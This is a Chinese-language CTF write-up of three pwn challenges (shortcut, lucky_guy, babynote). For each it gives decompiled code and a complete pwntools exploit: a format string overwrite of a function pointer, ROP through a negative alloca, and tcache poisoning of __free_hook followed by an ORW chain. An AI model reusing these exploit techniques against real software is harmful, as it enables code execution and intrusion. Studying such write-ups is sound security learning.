目录
这个题表面上是个堆题,实际上跟堆关系不大,是个格式化字符漏洞的题。
主程序是菜单有4个功能:add,free,show,run
- int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
- {
- int v3; // eax
-
- setbuf(stdout, 0LL);
- setbuf(stdin, 0LL);
- setbuf(stderr, 0LL);
- while ( 1 )
- {
- while ( 1 )
- {
- while ( 1 )
- {
- v3 = menu();
- if ( v3 != 2 )
- break;
- list();
- }
- if ( v3 > 2 )
- break;
- if ( v3 != 1 )
- goto LABEL_13;
- add(); // formatstr
- }
- if ( v3 == 3 )
- {
- delete(); // 可以越界
- }
- else
- {
- if ( v3 != 4 )
- LABEL_13:
- die();
- run();
- }
- }
- }
add函数这里有个漏洞,由于读入是用的printf,所以很容易用%nc达到写溢出
- unsigned __int64 add()
- {
- int v1; // [rsp+8h] [rbp-38h] BYREF
- int i; // [rsp+Ch] [rbp-34h]
- char format[40]; // [rsp+10h] [rbp-30h] BYREF
- unsigned __int64 v4; // [rsp+38h] [rbp-8h]
-
- v4 = __readfsqword(0x28u);
- for ( i = 0; ; ++i )
- {
- if ( i > 4 )
- {
- puts("Too many shortcut!");
- die();
- }
- if ( !*((_QWORD *)&sc + i) )
- break;
- }
- *((_QWORD *)&sc + i) = malloc(0x28uLL);
- puts("the name of new shortcut:");
- read_safely(format, 0x1Eu);
- sprintf(*((char **)&sc + i), format); // 少参数,printf漏洞
- puts("choose an operation:\n1. health code\n2. express\n");
- _isoc99_scanf("%d", &v1);
- if ( v1 == 1 )
- {
- *(_QWORD *)(*((_QWORD *)&sc + i) + 32LL) = health_code;
- }
- else
- {
- if ( v1 != 2 )
- {
- puts("Wrong choice!");
- die();
- }
- *(_QWORD *)(*((_QWORD *)&sc + i) + 32LL) = express;
- }
- return __readfsqword(0x28u) ^ v4;
- }
run函数。chunk尾部有一个指针,run的时候将利用这个指针显示。
- unsigned __int64 run()
- {
- int i; // [rsp+Ch] [rbp-34h]
- char s1[40]; // [rsp+10h] [rbp-30h] BYREF
- unsigned __int64 v3; // [rsp+38h] [rbp-8h]
-
- v3 = __readfsqword(0x28u);
- puts("Tell me the name of shortcut:");
- read_safely(s1, 0x1Eu);
- for ( i = 0; i <= 4; ++i )
- {
- if ( *((_QWORD *)&sc + i) && !strncmp(s1, *((const char **)&sc + i), 0x1DuLL) )
- {
- (*(void (__fastcall **)(_QWORD))(*((_QWORD *)&sc + i) + 32LL))(*((_QWORD *)&sc + i));// 执行+32处的指针
- return __readfsqword(0x28u) ^ v3;
- }
- }
- puts("No match!");
- return __readfsqword(0x28u) ^ v3;
- }
另外程序本身将system引入,可以执行plt里的system
- int treasure()
- {
- return system("treasure");
- }
由于有一个比较容易的溢出这里就好办了。
1,建一个块,让输入32个字符让它与指针直连,然后list的时候尾部带出指针,得到程序加载地址。
2,再建第2个块,删1再重建,通过写溢出将1的数据溢出到2的指针,覆盖为system,2的数据改为system
3, run(2)得到shell
- from pwn import *
-
- p = process('./shortcut')
-
- libc_elf = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
- elf = ELF('./shortcut')
- context(arch = 'amd64', log_level='debug')
-
-
-
- menu = b"Please tell me your choice:\n"
- def add(msg):
- p.sendlineafter(menu, b'1')
- p.sendlineafter(b"the name of new shortcut:\n", msg)
- p.sendlineafter(b"choose an operation:\n1. health code\n2. express\n\n", b'1')
-
- def show():
- p.sendlineafter(menu, b'2')
-
- def run(msg):
- p.sendlineafter(menu, b'4')
- p.sendlineafter(b"Tell me the name of shortcut:\n", msg)
-
- def free(idx):
- p.sendlineafter(menu, b'3')
- p.sendlineafter(b"Tell me the index of shortcut:\n", str(idx).encode())
-
- add(b'%32c')
- show()
- p.recv(0x29)
- pwn_base = u64(p.recv(6).ljust(8,b'\x00')) - 0xb9c
- elf.address = pwn_base
- print('pwn:', hex(pwn_base))
-
- system = pwn_base+ 0x988 #elf.plt('system')
-
- add(b'aaa')
- free(0)
- add(b'%48c'+b'/bin/sh;'+b'%24c'+p64(system)) #覆盖第2个chunk内容为/bin/sh;指针为system
-
- run(b'/bin/sh;'.ljust(0x1d,b' '))
-
- p.interactive()
这是一个溢出写ROP的题,题目没有开PIE,显然是可以利用题目里的地址进行ROP的题。
- __int64 __fastcall main(__int64 a1, char **a2, char **a3)
- {
- void *v3; // rsp
- _BYTE v5[4]; // [rsp+0h] [rbp-1B0h] BYREF
- int v6; // [rsp+4h] [rbp-1ACh] BYREF
- int v7; // [rsp+8h] [rbp-1A8h] BYREF
- unsigned int seed; // [rsp+Ch] [rbp-1A4h]
- int v9; // [rsp+10h] [rbp-1A0h]
- int v10; // [rsp+14h] [rbp-19Ch]
- _BYTE *v11; // [rsp+18h] [rbp-198h]
- char v12[392]; // [rsp+20h] [rbp-190h] BYREF
- unsigned __int64 v13; // [rsp+1A8h] [rbp-8h]
-
- v13 = __readfsqword(0x28u);
- v9 = 10;
- sub_400827();
- for ( seed = 0; (int)seed < v9; ++seed )
- {
- srand(seed); // seed已知,rand可以预测
- v10 = rand() % 100;
- puts("your number");
- __isoc99_scanf("%d", &v7);
- if ( v10 != v7 )
- {
- puts("fail");
- exit(0);
- }
- }
- puts("Congratulations you passed the first level!");
- puts("I believe you are a lucky guy.");
- puts("So, give me a size: ");
- __isoc99_scanf("%d", &v6);
- v3 = alloca(16 * ((v6 + 16 + 30LL) / 0x10uLL));// 移动rsp
- v11 = v5;
- sub_4008B9(v5, v6, v12);
- return 0LL;
- }
main里先是让输入10个数,与随机数相同可进入下一步。由于seed用的数已知,所以rand是可预知的,可以写个小程序将10个数输出
- #include <stdio.h>
- #include <stdlib.h>
-
- int main(){
- for ( int seed = 0; (int)seed < 10; ++seed ){ srand(seed); printf("%d\n", rand() % 100); }
- }
10个数字通过后,会让输入一个数字,然后通过它进行一个alloca,这个看上去像函数的东西实际上不是函数,只是把运算结果赋值给rsp
- .text:0000000000400A68 B8 10 00 00 00 mov eax, 10h
- .text:0000000000400A6D 48 83 E8 01 sub rax, 1
- .text:0000000000400A71 48 01 D0 add rax, rdx
- .text:0000000000400A74 BE 10 00 00 00 mov esi, 10h
- .text:0000000000400A79 BA 00 00 00 00 mov edx, 0
- .text:0000000000400A7E 48 F7 F6 div rsi
- .text:0000000000400A81 48 6B C0 10 imul rax, 10h
- .text:0000000000400A85 48 29 C4 sub rsp, rax
后面的函数会进行两次输入,
- unsigned __int64 __fastcall sub_4008B9(void *a1, int a2, void *a3)
- {
- unsigned __int64 v5; // [rsp+28h] [rbp-8h]
-
- v5 = __readfsqword(0x28u);
- puts("Your message: ");
- read(0, a1, a2);
- puts("Leave your name: ");
- read(0, a3, 0x30uLL);
- return __readfsqword(0x28u) ^ v5;
- }
第一次写入v5这个与rsp关联,第二次是写v12这是个固定位置
所以这个题的漏洞就在于当输入负数,使rsp下移后,sub_4008B9的栈会下移跟主函数栈空间重叠。sub_4008B9的返回地址恰巧落在v12指针处时,就可以通过写入v12改写sub_4008B9的返回地址,在这里写ROP链。

具体操作:
- from pwn import *
-
- p = process('./lucky_guy')
- elf = ELF('./lucky_guy')
- libc_elf = ELF('/home/shi/libc/libc6_2.31/lib/x86_64-linux-gnu/libc-2.31.so')
-
- context(arch='amd64', log_level='debug')
-
- pop_rdi = 0x0000000000400b43 #: pop rdi ; ret
-
- a = [83,83,90,46,1,75,41,77,96,15]
-
- #第一次 puts(got_puts),start 获取libc
- for i in a:
- p.sendlineafter(b"your number", str(i).encode())
- payload = flat(0, pop_rdi+1, pop_rdi, elf.got['puts'], elf.plt['puts'], 0x400740) #start
- p.sendlineafter(b"So, give me a size: ", str(-0x50).encode()) #
- p.sendafter(b"Leave your name: \n", payload)
-
- libc_base = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - libc_elf.sym['puts']
- libc_elf.address = libc_base
- print('libc:', hex(libc_base))
-
- #第二次 system(/bin/sh)
- for i in a:
- p.sendlineafter(b"your number", str(i).encode())
- payload = flat(0, pop_rdi+1, pop_rdi, next(libc_elf.search(b'/bin/sh')), libc_elf.sym['system'], 0x400740) #start
- p.sendlineafter(b"So, give me a size: ", str(-0x50).encode()) #
- p.sendafter(b"Leave your name: \n", payload)
-
- p.interactive()
这里由于题目没有给出libc,所以第一步执行得到一个puts的地址后,需要按尾3位确定libc版本,下载相应libc或者用偏移计算system和/bin/sh的地址,然后再进行下一步。
这是一个高版本(libc-2.31不太高)libc下seccomp禁用execve功能的ORW题。
漏洞:当对一个加密过的块进行show时,对数据起点标识“:”直接搜索,当输入的key里含“:”引起的写数据溢出。
先分别看下各个函数
- __int64 __fastcall main(__int64 a1, char **a2, char **a3)
- {
- int v4; // [rsp+Ch] [rbp-4h]
-
- sub_1369(a1, a2, a3);
- sub_152F();
- sub_1432();
- while ( 1 )
- {
- menu();
- v4 = get_int();
- if ( v4 == 5 )
- break;
- if ( v4 <= 5 && v4 > 0 )
- {
- switch ( v4 )
- {
- case 4:
- m4encrypt();
- break;
- case 3:
- m3free();
- break;
- case 1:
- m1add();
- break;
- default:
- m2show();
- break;
- }
- }
- else
- {
- printf("wrong choice");
- }
- }
- return 5LL;
- }
main里有4个功能模块:add,show,free,enc
- int m1add()
- {
- __int64 v0; // rax
- int i; // [rsp+8h] [rbp-8h]
- int v3; // [rsp+Ch] [rbp-4h]
-
- for ( i = 0; i < dword_5010 && qword_5060[i]; ++i )
- ;
- LODWORD(v0) = dword_5010;
- if ( i < dword_5010 )
- {
- printf("size: ");
- v3 = get_int();
- if ( v3 > dword_5014 || v3 <= 0 )
- {
- printf("wrong note size");
- exit(0);
- }
- qword_5060[i] = malloc(v3);
- v0 = qword_5060[i];
- if ( v0 )
- {
- printf("content: ");
- sub_15A9(qword_5060[i], v3, 10);
- LODWORD(v0) = puts("done");
- }
- }
- return v0;
- }
add限制最大f8,指针区没有问题,read数据没有溢出,而且尾部加\0非常安全
- unsigned __int64 m2show()
- {
- int i; // [rsp+0h] [rbp-40h]
- int v2; // [rsp+4h] [rbp-3Ch]
- int v3; // [rsp+8h] [rbp-38h]
- unsigned int n; // [rsp+Ch] [rbp-34h]
- char *n_4; // [rsp+10h] [rbp-30h]
- void *dest; // [rsp+18h] [rbp-28h]
- char buf[24]; // [rsp+20h] [rbp-20h] BYREF
- unsigned __int64 v8; // [rsp+38h] [rbp-8h]
-
- v8 = __readfsqword(0x28u);
- printf("index: ");
- v3 = get_int();
- if ( v3 < 0 || v3 >= dword_5010 )
- {
- puts("wrong note index");
- exit(0);
- }
- if ( qword_5060[v3] )
- {
- if ( dword_50E0[v3] == 1 )
- {
- v2 = 0;
- for ( i = 0; i <= 2; ++i )
- {
- printf("encrypt key: ");
- read(0, buf, 0xEuLL);
- if ( !memcmp(buf, (const void *)qword_5060[v3], 0xEuLL) )
- {
- v2 = 1;
- break;
- }
- puts("wrong encrypt key");
- }
- if ( !v2 )
- {
- puts("Please contact administrator to reset password");
- exit(0);
- }
- n_4 = strchr((const char *)qword_5060[v3], 58);
- n = strlen(n_4);
- dest = malloc(dword_5014);
- memcpy(dest, n_4, n);
- printf("content %s\n", (const char *)dest);
- free(dest);
- }
- else
- {
- printf("content: %s\n", (const char *)qword_5060[v3]);
- }
- }
- return __readfsqword(0x28u) ^ v8;
- }
show的时候对enc过的先判断key是否正确,再找到“:”(数据起点标记)然后建个f8的块写入数据。这里如果在key里包含“:”则得到的数据长度就会超过f8从而写溢出。
- _DWORD *m3free()
- {
- _DWORD *result; // rax
- int v1; // [rsp+Ch] [rbp-4h]
-
- printf("index: ");
- v1 = get_int();
- if ( v1 < 0 || v1 >= dword_5010 )
- {
- puts("wrong note index");
- exit(0);
- }
- result = (_DWORD *)qword_5060[v1];
- if ( result )
- {
- free((void *)qword_5060[v1]);
- qword_5060[v1] = 0LL;
- result = dword_50E0;
- dword_50E0[v1] = 0;
- }
- return result;
- }
free函数里free后清理指针和数据块尺寸,没有UAF,也没有溢出。
- unsigned __int64 m4encrypt()
- {
- size_t v0; // rax
- int v1; // eax
- size_t v2; // rax
- int v4; // [rsp+Ch] [rbp-54h]
- char *v5; // [rsp+20h] [rbp-40h]
- char v6[8]; // [rsp+40h] [rbp-20h] BYREF
- __int64 v7; // [rsp+48h] [rbp-18h]
- unsigned __int64 v8; // [rsp+58h] [rbp-8h]
-
- v8 = __readfsqword(0x28u);
- v7 = (unsigned int)time(0LL);
- printf("index: ");
- v4 = get_int();
- if ( v4 < 0 || v4 >= dword_5010 )
- {
- puts("wrong note index");
- exit(0);
- }
- if ( qword_5060[v4] )
- {
- if ( dword_50E0[v4] == 1 )
- {
- puts("the note has been encrypted");
- }
- else
- {
- printf("encrypt key: ");
- read(0, v6, 0x10uLL);
- v0 = strlen((const char *)qword_5060[v4]);
- v5 = (char *)malloc(v0 + 21);
- srand(v7);
- v1 = rand();
- *(_DWORD *)v5 = v1 + (v1 == -1);
- memcpy(v5 + 4, v6, 0xAuLL);
- v5[14] = 58;
- v2 = strlen((const char *)qword_5060[v4]);
- memcpy(v5 + 15, (const void *)qword_5060[v4], v2);
- free((void *)qword_5060[v4]);
- qword_5060[v4] = v5;
- dword_50E0[v4] = 1;
- puts("done");
- }
- }
- return __readfsqword(0x28u) ^ v8;
- }
enc函数先读入key然后随机生成一个数字作为id,然后按原数据长度+21申请新块将数据复制进去,然后把原块free。
这里有个漏洞:当读入key时v6定义的是8字节,后边是v7,后边用v7来初始化rand种子,而读入v6时可以读入16字节。所以可以用key覆盖v7从而控制种子预测生成的随机数。
加密chunk的结构:id:4 key:10 数据标志符chr(58) data:n
由于在key里可以写入标志,所以溢出最大可以是10字节。当溢出覆盖下个chunk的头后字符串没有结束\0就可以输入下个chunk的fd从而泄露heap和libc
由于有种种限制,所以要先规划一个行当的chunk布局

思路:
通过free_hook写ORW,free_hook内容
最后翻译free_hook这个块
- from pwn import *
-
- local = 1
- if local == 1:
- p = process('./babynote')
- libc_elf = ELF('/lib/x86_64-linux-gnu/libc.so.6') #(Ubuntu GLIBC 2.31-0ubuntu9.7) stable release version 2.31.
- else:
- p = remote('node4.buuoj.cn', 26429)
- libc_elf = ELF('./libc.so') #(Ubuntu GLIBC 2.31-0ubuntu9.7) stable release version 2.31.
-
- elf = ELF('./babynote')
- context.arch = 'amd64'
- #context.log_level = 'debug'
-
- menu = b'>> '
- def add(size, msg=b'A'):
- p.sendlineafter(menu, b'1')
- p.sendlineafter(b"size: ", str(size).encode())
- p.sendlineafter(b"content: ", msg)
-
- def show(idx, key):
- p.sendlineafter(menu, b'2')
- p.sendlineafter(b"index: ", str(idx).encode())
- p.sendafter(b"encrypt key: ", key)
-
- def free(idx):
- p.sendlineafter(menu, b'3')
- p.sendlineafter(b"index: ", str(idx).encode())
-
- def enc(idx, key):
- p.sendlineafter(menu, b'4')
- p.sendlineafter(b"index: ", str(idx).encode())
- p.sendafter(b"encrypt key: ", key)
-
- #f8,118,f8*4,18*3,f8*6
- add(0xf8, b'A'*0xf7)
- enc(0, b'AA:BBBBB'+ b'00'+b'\x00'*6) #2046264671
- # 1 2 7 10 15
- for i in [0xf8,0xf8,0xf8,0xf8,0xf8, 0xf8, 0x18, 0x18, 0x18, 0xf8,0xf8,0xf8,0xf8,0xf8,0xe0]:
- add(i)
-
- for i in [4,3,2]:
- free(i)
- show(0, p32(2046264671)+b'AA:BBBBB00')
- p.recv(0x108)
- heap_base = u64(p.recv(6)+ b'\x00\x00') - 0x6c0
- print('heap:', hex(heap_base))
-
- free(0)
- free(1)
- add(0xf8, b'A'*0xf7)
- enc(0, b'AA:BBBBB'+ b'00'+b'\x00'*6) #2046264671
- add(0xf8) #1
-
- add(0xf8) #2
- add(0xf8) #3
- add(0xf8) #4
-
- for i in [10,11,12,13,14,6,4,5]: #tcache 4->6->... 5:unsort
- free(i)
- show(0, p32(2046264671)+b'AA:BBBBB00')
- p.recv(0x108)
- libc_base = u64(p.recv(6)+ b'\x00\x00') - 0x60 - 0x10 - libc_elf.sym['__malloc_hook']
- libc_elf.address = libc_base
- print('libc:', hex(libc_base))
- add(0xf8) #4
-
- free_hook = libc_elf.sym['__free_hook']
- _environ = libc_elf.sym['_environ']
- setcontext = libc_elf.sym['setcontext']
- syscall = next(libc_elf.search(asm("syscall; ret")))
-
- pop_rdi = next(libc_elf.search(asm("pop rdi; ret")))
- pop_rsi = next(libc_elf.search(asm("pop rsi; ret")))
- pop_rdx_r12 = next(libc_elf.search(asm("pop rdx; pop r12; ret")))
- pop_rax = next(libc_elf.search(asm("pop rax; ret")))
- jmp_rsp = next(libc_elf.search(asm("jmp rsp")))
-
- #gadget
- #0x00000000001518b0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
- gadget_addr= libc_base + 0x00000000001518b0
-
-
- free(0)
- free(1)
- add(0xf8, b'A'*0xf7)
- enc(0, b'AABBBBBB'+ b'0:'+b'\x00'*6) #872146168
- add(0xf8) #1
- show(0, p32(872146168) + b'AABBBBBB'+ b'0:')
-
- for i in [9,8,7]: #7[8]
- free(i)
- add(0x38, flat(0,0,0,0x21, heap_base+0xf0)) #5
-
- free(15)
-
- context.log_level = 'debug'
-
- add(0x18, b'A')
- add(0x18, flat(0, free_hook+0xf8, free_hook)[:-1])
-
- #orw
- fake_frame_addr = free_hook + 0x10
- frame = SigreturnFrame()
- frame.rax = 0
- frame.rdi = fake_frame_addr + 0xF8
- frame.rsp = fake_frame_addr + 0xF8 + 0x10
- frame.rip = pop_rdi + 1 # : ret
-
-
- rop_data = [
- libc_elf.sym['open'],
- pop_rdx_r12,0x100,0,pop_rdi,3,pop_rsi,fake_frame_addr + 0x200,libc_elf.sym['read'],
- pop_rdi,fake_frame_addr + 0x200,libc_elf.sym['puts']
- ]
-
- frame_data = flat(frame).ljust(0xf8, b'\x00')
- payload = flat(gadget_addr,fake_frame_addr,frame_data[:0x20],setcontext+61,frame_data[0x28:],b'flag\x00\x00\x00\x00',0)+flat(rop_data)
- print('len(payload)', hex(len(payload[0xf8:])))
-
- add(0xf8, payload[:0xf7]) #8
- add(0xe0, payload[0xf8:]) #9
- free(8)
-
- p.recv()
- p.interactive()